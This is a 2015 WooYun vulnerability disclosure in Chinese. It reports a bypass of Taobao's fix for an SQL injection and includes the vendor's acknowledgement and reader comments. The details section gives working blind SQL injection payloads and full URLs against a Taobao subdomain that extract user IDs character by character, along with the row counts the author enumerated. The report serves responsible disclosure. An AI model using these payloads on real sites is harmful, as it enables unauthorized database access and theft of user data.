当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096830

漏洞标题:淘宝SQL注入修复绕过

相关厂商:淘宝网

漏洞作者: he1renyagao

提交时间:2015-02-11 17:54

修复时间:2015-03-28 17:56

公开时间:2015-03-28 17:56

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-12: 厂商已经确认,细节仅向厂商公开
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-28: 细节向公众公开

简要描述:

淘宝修复注入的方式居然不是修改原代码。。。。

详细说明:

原来的注入语句是:
(SELECT+(CASE+WHEN+(3373=3373)+THEN+(21+and+1=1)+ELSE+1/(SELECT+0)+END)) and 1=1
绕过语句
(select 1 and 1=1) 即 and 1=1 --状态值200
(select 1 and 1=2) 即 and 1=2 --状态值302

2.png


其他跑数据的方式 依然使用上一次的方法
这次对数据分析了下,一些产品,价格,之类的item 是真实存在的。但是对user 这个表,数据一直不完整,有在怀疑这个表是你们故意做的蜜罐表
利用 http://pinliu.uz.taobao.com/ 站点,为什么利用这个站点呢,原因如下
http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%201,1),1,1)=0)
网页显示正常,文章内容显示正常。

3.png


而当访问
http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%201,1),1,1)=1)
网页显示正常,文章内容显示不正常。

4.png


也就是第一个用户的uid 的第一个字符为0
如果用其他站点则没有这个效果,不清楚具体内部逻辑是说明,为什么会造成这差异
以此方法跑了下数据 得到
and%20subString((select%20uid%20from%20user%20limit%201610,1),1,1)=0 大概有 1610人 uid 以 0 开头
and%20subString((select%20uid%20from%20user%20limit%201611,1),1,1)=1
and%20subString((select%20uid%20from%20user%20limit%203289,1),1,1)=1 大概有 3290-1611 uid 以1 开头 1679
and%20subString((select%20uid%20from%20user%20limit%203290,1),1,1)=2
and%20subString((select%20uid%20from%20user%20limit%205023,1),1,1)=2 大概有 5024-3290 以2开头 1734
and%20subString((select%20uid%20from%20user%20limit%205024,1),1,1)=3
and%20subString((select%20uid%20from%20user%20limit%206721,1),1,1)=3 大概有 6722-5024 以3 开头 1698
and%20subString((select%20uid%20from%20user%20limit%206722,1),1,1)=4
and%20subString((select%20uid%20from%20user%20limit%208398,1),1,1)=4
and%20subString((select%20uid%20from%20user%20limit%208399,1),1,1)=5
and%20subString((select%20uid%20from%20user%20limit%2010089,1),1,1)=5
and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=6
and%20subString((select%20uid%20from%20user%20limit%2011781,1),1,1)=6
and%20subString((select%20uid%20from%20user%20limit%2011782,1),1,1)=7
and%20subString((select%20uid%20from%20user%20limit%2013416,1),1,1)=7
and%20subString((select%20uid%20from%20user%20limit%2013417,1),1,1)=8
and%20subString((select%20uid%20from%20user%20limit%2015091,1),1,1)=8
and%20subString((select%20uid%20from%20user%20limit%2015092,1),1,1)=9
and%20subString((select%20uid%20from%20user%20limit%2016699,1),1,1)=9
and%20subString((select%20uid%20from%20user%20limit%2016700,1),1,1)=0 16700 一个循环
这个用户表的数据到 26392的时候就没了 修改的地方0-9跑了下,都没有文章内容

5.png


http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%2026392,1),1,1)=0)
因此猜测这个用户表的数据用户大概能有 26392个。
(如果上面的范围有误差,肯定是递增的,也就是
1%20and%20subString((select%20uid%20from%20user%20limit%2010089,1),1,1)=5
1%20and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=6
会变成
1%20and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=5
1%20and%20subString((select%20uid%20from%20user%20limit%2010091,1),1,1)=6

一开始我以为是蜜罐表,但是既然用户量有在增加,就应该不是蜜罐表,从用户量来看,也不是淘宝的一个级别的。会不会这店铺商家的用户呢? 你觉得呢? 我是觉得太少,不应该

漏洞证明:

..

修复方案:

。。。

版权声明:转载请注明来源 he1renyagao@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-02-12 11:41

厂商回复:

亲,感谢您的关注和支持,该漏洞我们正在修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-11 20:44 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    还有其他域名的几个同样的点,忘了提交了 ,到时候私信下。

  2. 2015-02-12 11:44 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    我去。。

  3. 2015-02-12 12:03 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子,温润如玉)

    看看是怎么绕过的

  4. 2015-02-12 12:05 | TMaMba ( 路人 | Rank:8 漏洞数:7 | )

    我去

  5. 2015-02-12 12:13 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @he1renyagao 难道是、

  6. 2015-02-12 12:43 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    @黑暗游侠 淘宝一系列网站存在多处SQL注入(存在通用性影响数万店铺)里又获得了2个乌云币 你给的?

  7. 2015-02-12 12:46 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @he1renyagao 我没给,估计别人的哈

  8. 2015-02-12 12:47 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @he1renyagao wooyun币一直很省

  9. 2015-02-12 13:11 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    呵呵

  10. 2015-02-12 13:46 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    看看是怎么绕过的

  11. 2015-02-12 15:32 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    看看是怎么绕过的

  12. 2015-02-12 15:57 | plane636 ( 普通白帽子 | Rank:160 漏洞数:16 )

    难道是用js做过滤?

  13. 2015-03-30 15:37 | isxenos ( 实习白帽子 | Rank:71 漏洞数:8 | 也好)

    U站程序 可以自定义开发的